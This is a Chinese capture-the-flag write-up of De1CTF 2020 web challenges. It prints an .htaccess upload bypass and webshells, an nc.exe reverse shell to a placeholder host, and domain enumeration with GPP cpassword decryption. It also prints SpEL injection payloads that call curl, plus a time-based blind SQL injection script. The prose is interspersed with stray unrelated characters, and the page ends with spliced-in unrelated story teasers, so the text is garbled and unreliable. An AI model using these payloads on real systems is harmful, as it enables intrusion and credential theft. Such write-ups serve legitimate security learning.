De1CTF 2020

終于到第二次XCTF了。沒想到De1ta的題這次這么頂,果然是出給國際隊(duì)伍的難度授账。(膜一波國內(nèi)外大佬隊(duì)伍)
小綠草這次也就我們大二的幾個在打枯跑,大家基本都自閉了。WEB自己也只做出兩道題白热,說實(shí)話要是自己JAVA的學(xué)習(xí)計(jì)劃再提前一點(diǎn)的話說不定能把calc那題出了的...這樣也不至于被卡在20名開外全肮。

等wp出來自己爭取把能做的題都復(fù)現(xiàn)了。

checkin

這題還算比較簡單.就是自己一開始手賤選的mixture去做浪費(fèi)了不少時(shí)間

首先簡單上傳FUZZ下棘捣,會發(fā)現(xiàn)限制了filename辜腺,filetype以及file的內(nèi)容
其他的都還好。不過內(nèi)容黑名單里
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents
主要是一個ph的問題乍恐。對webshell而言,應(yīng)該只能使用不閉合的短標(biāo)簽了

但是因?yàn)槲募缶Y嚴(yán)格限制评疗,所以只能按照要求上傳圖片馬。現(xiàn)在需要.htaccess來控制解析它茵烈。
幸運(yùn)的是百匆,.htaccess并沒有被限制
不過注意。.htaccess中常見的幾種把.jpg解析成php的寫法中呜投,php是必不可少的.那就得繞過限制上傳

這里就有兩種思路了加匈,一種是上傳cgi進(jìn)行g(shù)etshell,當(dāng)時(shí)簡單搜了下發(fā)現(xiàn)確實(shí)并不需要php出現(xiàn)

但是更簡單的是來自XNUCA的非預(yù)期解。使用\直接繞過waf仑荐。
即使是.htaccess這種說法上不允許換行的文件雕拼,它也是支持\直接換行的,因此輕松bypass

addtype application/x-httpd-p\
hp .jpg
<?=system('cat /flag');

Hard_Pentest_1

做完這題真的是得慶幸自己當(dāng)初htb做了臺windows的靶機(jī)粘招。不然連做下去的勇氣都沒有

比賽時(shí)沒咋截圖,將就下看吧
首先第一步是給出的上傳源碼

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

webshell的限制,主要是文件后綴跟內(nèi)容啥寇。
自己一開始的想法是正則回溯繞下!preg_match()但是很快就發(fā)現(xiàn)文件太大傳不上去。
而且webshell連分號都沒了,不好構(gòu)造洒扎。
經(jīng)隊(duì)友提醒是臺windows靶機(jī),可以利用windwos不區(qū)分大小寫的特性上傳辑甜。
同時(shí)內(nèi)容可以參考XCTFFINALlfi,用全短標(biāo)簽構(gòu)造無字母數(shù)字webshell
大概是下面這樣的吧,當(dāng)時(shí)自己寫的用不出來,借了郁師傅的直接上車袍冷。

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>

當(dāng)時(shí)還順手nmap掃了下

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
Nmap scan report for 47.113.219.76
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
22/tcp   closed ssh
80/tcp   open   http          Microsoft IIS httpd 8.5 (PHP 7.2.29)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Unknown
|_http-title: upload
3389/tcp closed ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds

然后想抱郁師傅大腿失敗了...只能靠自己了磷醋。
因?yàn)轭}目同一個ip被出成兩個題,基本很容易能看出來要么是單純提權(quán),要么是windows域滲透胡诗。

這里windows靶機(jī)八成就是為了域滲透準(zhǔn)備的邓线。

硬著頭皮不管3721先彈個shell
當(dāng)時(shí)根目錄有別的師傅傳的NC,那就不用我自己傳了。

.\nc.exe vpsip port -e powershell 

這樣不至于在uploads目錄被刪時(shí)丟掉所有shell.
然后傳個winPEAS.exe 進(jìn)行信息收集乃戈。
這個也是做htb時(shí)學(xué)到的腳本褂痰,一般是為了提權(quán)掃描下亩进≈⒙牵基本上能滿足需求。
信息里有一處比較明顯


腳本列出的信息中有一個域用戶名字很敏感归薛。HintZip_Pass
下面開始手動信息收集

參考這篇文章域滲透總結(jié)

域(Domain)是相對工作組(Workgroup)的概念谍憔,形象的說匪蝙,域就像中央集權(quán),由一臺或數(shù)臺域控制器(Domain Controller)管理域內(nèi)的其他計(jì)算機(jī)

所以域滲透的核心是通過可控的域用戶习贫,收集其中的可用信息逛球,進(jìn)一步利用其他漏洞發(fā)展更多域用戶。最后能拿到管理員的哈希苫昌,基本就算滲透完整了颤绕。

ipconfig /all可以確認(rèn)處于域管理模式中

PS C:\Users\Public> net user /domain
net user /domain
The request will be processed at a domain controller for domain De1CTF2020.lab.


User accounts for \\dc.De1CTF2020.lab

-------------------------------------------------------------------------------
Administrator            De1CTF1                  de1ta                    
Guest                    HintZip_Pass             krbtgt                   
web                      
The command completed successfully.

查詢域用戶時(shí)也能得到跟winPEAS一樣的關(guān)于域用戶的信息。
嘗試net use

PS C:\> net use
net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK                     \\192.168.0.12\Hint       Microsoft Windows Network
The command completed successfully.

發(fā)現(xiàn)\\192.168.0.12\Hint祟身。且由于我們剛剛是建立的IPC空鏈接奥务。因此可以無需用戶名密碼訪問它。(不過我后來再看時(shí)發(fā)現(xiàn)這個地址沒了)
net view\\192.168.0.12\也能發(fā)現(xiàn)有Hint,SYSVOL,NETLOGIN幾個目錄

直接pushd\\192.168.0.12\Hint進(jìn)入filesystem.發(fā)現(xiàn)了一個flag1_and_flag2hint.zip

基于我們玩的是多人滲透袜硫。所以最好把它c(diǎn)opy到自己私密的位置氯葬。或者把它以其他文件格式保存下來婉陷。(因?yàn)槲以谒伎既绾伟阉孟聛頃r(shí)剛好在蟻劍的shell里發(fā)現(xiàn)別人的zip文件2333)
直接下好別人的zip后,現(xiàn)在要一個密碼

這里就體現(xiàn)出信息收集的重要性了帚称。因?yàn)槲覀冎鞍l(fā)現(xiàn)可以用的文件夾除了Hint還有SYSVOL.所以我選擇百度域滲透 SYSVOL
得到這篇文章域滲透——利用SYSVOL還原組策略中保存的密碼
在域中,存在一個默認(rèn)的共享路徑\\<DOMAIN>\SYSVOL\<DOMAIN>\

域管理員在使用組策略批量管理域內(nèi)主機(jī)時(shí)秽澳,如果配置組策略的過程中需要填入密碼闯睹,那么該密碼會被保存到共享文件夾\SYSVOL下,默認(rèn)所有域內(nèi)用戶可訪問担神,雖然密碼通過AES 256進(jìn)行加密瞻坝,密鑰是公開在微軟官網(wǎng)的。

參考這篇文章域滲透:GPP(Group Policy Preferences)漏洞
可以使用dir /s /a \\域控IP\SYSVOL\*.xml來嘗試列出存在的xml
dir /s /a \\192.168.0.12\SYSVOL\*.xml
得到完整路徑后讀取杏瞻。這里試了下type不行所刀,gc不行。用more成了
more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>   

這個cpassword恰好是屬于HintZip_Pass的捞挥。那么根據(jù)上文浮创,由于私鑰暴露。只要知道公鑰cpassword即可破解砌函。

kali有現(xiàn)成的gpp-decrypt 直接用gpp-decrypt uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08就成斩披。
得到密碼后解出zip文件

這題做完后后續(xù)提示看都不想看了.真的是難.不過收獲特挺多的。
(以后我一定好好學(xué)滲透.jpg)

calc

昨天比賽時(shí)沒做出來...第二天zjy師傅構(gòu)造出了payload讹俊。才感慨自己還是太菜了垦沉。

抓包就能得到spel/calc?calc=的路由
提示的這么明顯,只能是spEL的表達(dá)式注入了仍劈。
不過簡單FUZZ一下厕倍,發(fā)現(xiàn)果不其然有waf。
大概有這些關(guān)鍵字吧贩疙,
#,getClass, T( ,java.lang, new ,String,
想要直接RCE當(dāng)然不行讹弯。所以得構(gòu)造

第一想法是查資料况既,找到不少師傅做code-breaking時(shí)用反射進(jìn)行spEL-RCE的payload
原本是

Runtime.getRuntime().exec()

通過反射,我們就能巧妙利用反射構(gòu)造出類與方法组民。使用字符串拼接繞過棒仍。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxxx");

但是這里String,getClass沒了。不過也有方法繞過
使用''['class']數(shù)組直接繞
這是參考SEAM2.3.1的一個反序化payload的改法

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')

然而payload打了一發(fā)發(fā)現(xiàn)報(bào)錯臭胜。然后就無語了莫其。這時(shí)想起來,抓包時(shí)發(fā)現(xiàn)header里有openrasp,估計(jì)是直接從底層把runtime之類的給hook掉了。

然后郁師傅說不用執(zhí)行命令也能讀耸三。仔細(xì)想挺有道理的,不然沒必要直接告訴我們flag在根目錄
但是確實(shí)java太菜了...下面是隊(duì)友教我的方法榜配。

New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()

原來在spEL里是不區(qū)分關(guān)鍵字大小寫的...那直接用java能讀文件的類來就行了...
Java 讀文件的5種方式
同理也可

New java.util.Scanner(New java.io.File("/flag")).nextLine()

java是真的要好好研究下了、
ps:在推送里看到一篇文章恰好提到了De1這題吕晌。才發(fā)現(xiàn)dalao直接bypass openrasp進(jìn)行RCE了...
參考:bypass openrasp SpEL RCE 的過程及思考
原來深挖spEL的底層解析源碼蛋褥,可發(fā)現(xiàn)空字符能直接bypass.所以,又可以產(chǎn)生完全不依賴new的實(shí)例化方法.直接空字符插進(jìn)被過濾的T(中即可

甚至進(jìn)一步烙心,還能通過反序列化的思想,不顯示的加載惡意類,達(dá)成RCE。
orz原來java的姿勢這么多的么...

mixture

可以任意登錄
member.php注釋中有 orderby
測了下發(fā)現(xiàn)應(yīng)該是order by 后的語句
開始以為只能接limit
那有且僅有procedure analyse一種方法
但報(bào)錯函數(shù)都沒了淫茵。延時(shí)延不了蹬跃。版本問題只能用5.6以下的函數(shù)匙瘪。真心沒手段了
我有罪,這種難度的sql被卡住蝶缀。該打。

直接and 分流我居然會忘了翁都。

import requests
import urllib.parse

url='http://134.175.185.244/member.php?orderby='
flag=""
for i in range(1,30):
    print(i)
    a=0
    for str1 in "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890,":
        payload = "and case when (substr((select password from member),"+str(i)+",1)='"+str1+"') then (benchmark(500000,sha(1))) else 1 end"
        payload = urllib.parse.quote(payload)
        try:
            r = requests.get(url + payload, timeout=2.5)
        except requests.exceptions.ReadTimeout:
            flag+=str1
            print(flag)
            a=1
            break
    if a==0:
        break

求得密碼解出來得到
goodlucktoyou

進(jìn)去后一開始發(fā)現(xiàn)有一個select.php任意讀文件的功能與admin.php給出的phpinfo,但是讀完源碼后發(fā)現(xiàn)居然使用了自定義的Minclude這個函數(shù)來包含。phpinfo里也能看到這個函數(shù)的so文件....所以這題真面目是WEB-PWN,應(yīng)該是通過調(diào)這個so來溢出執(zhí)行根目錄的readflag...

然而比賽已經(jīng)快結(jié)束了柄慰,等于白給鳍悠。

AnimalCrossing

這題等wp吧...老實(shí)說不想復(fù)現(xiàn)了。因?yàn)轭}目得到flag除了要彈admin的cookie,還要從admin界面的圖片獲取信息...
沒見過這么磨人的xss.

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末坐搔,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蠢挡,更是在濱河造成了極大的恐慌,老刑警劉巖袒哥,帶你破解...
    沈念sama閱讀 219,539評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件堡称,死亡現(xiàn)場離奇詭異,居然都是意外死亡却紧,警方通過查閱死者的電腦和手機(jī)胎撤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評論 3 396
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來巫俺,“玉大人肿男,你說我怎么就攤上這事〔芭妫” “怎么了?”我有些...
    開封第一講書人閱讀 165,871評論 0 356
  • 文/不壞的土叔 我叫張陵叹卷,是天一觀的道長坪它。 經(jīng)常有香客問我,道長往毡,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,963評論 1 295
  • 正文 為了忘掉前任鸣奔,我火速辦了婚禮惩阶,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘断楷。我一直安慰自己,他們只是感情好恐锣,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,984評論 6 393
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著土榴,像睡著了一般。 火紅的嫁衣襯著肌膚如雪赫段。 梳的紋絲不亂的頭發(fā)上矢赁,一...
    開封第一講書人閱讀 51,763評論 1 307
  • 那天,我揣著相機(jī)與錄音给涕,去河邊找鬼额获。 笑死,一個胖子當(dāng)著我的面吹牛咪啡,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播毅桃,決...
    沈念sama閱讀 40,468評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼准夷,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了读宙?” 一聲冷哼從身側(cè)響起楔绞,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎桦锄,沒想到半個月后蔫耽,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,850評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,002評論 3 338
  • 正文 我和宋清朗相戀三年碍粥,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了黑毅。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,144評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡低斋,死狀恐怖匪凡,靈堂內(nèi)的尸體忽然破棺而出掘猿,到底是詐尸還是另有隱情,我是刑警寧澤衬衬,帶...
    沈念sama閱讀 35,823評論 5 346
  • 正文 年R本政府宣布改橘,位于F島的核電站,受9級特大地震影響飞主,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜碾篡,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,483評論 3 331
  • 文/蒙蒙 一筏餐、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧魁瞪,春花似錦、人聲如沸众旗。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽利朵。三九已至律想,卻和暖如春绍弟,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背而叼。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評論 1 272
  • 我被黑心中介騙來泰國打工豹悬, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人瞻佛。 一個月前我還...
    沈念sama閱讀 48,415評論 3 373
  • 正文 我出身青樓伤柄,卻偏偏與公主長得像,于是被迫代替她去往敵國和親适刀。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,092評論 2 355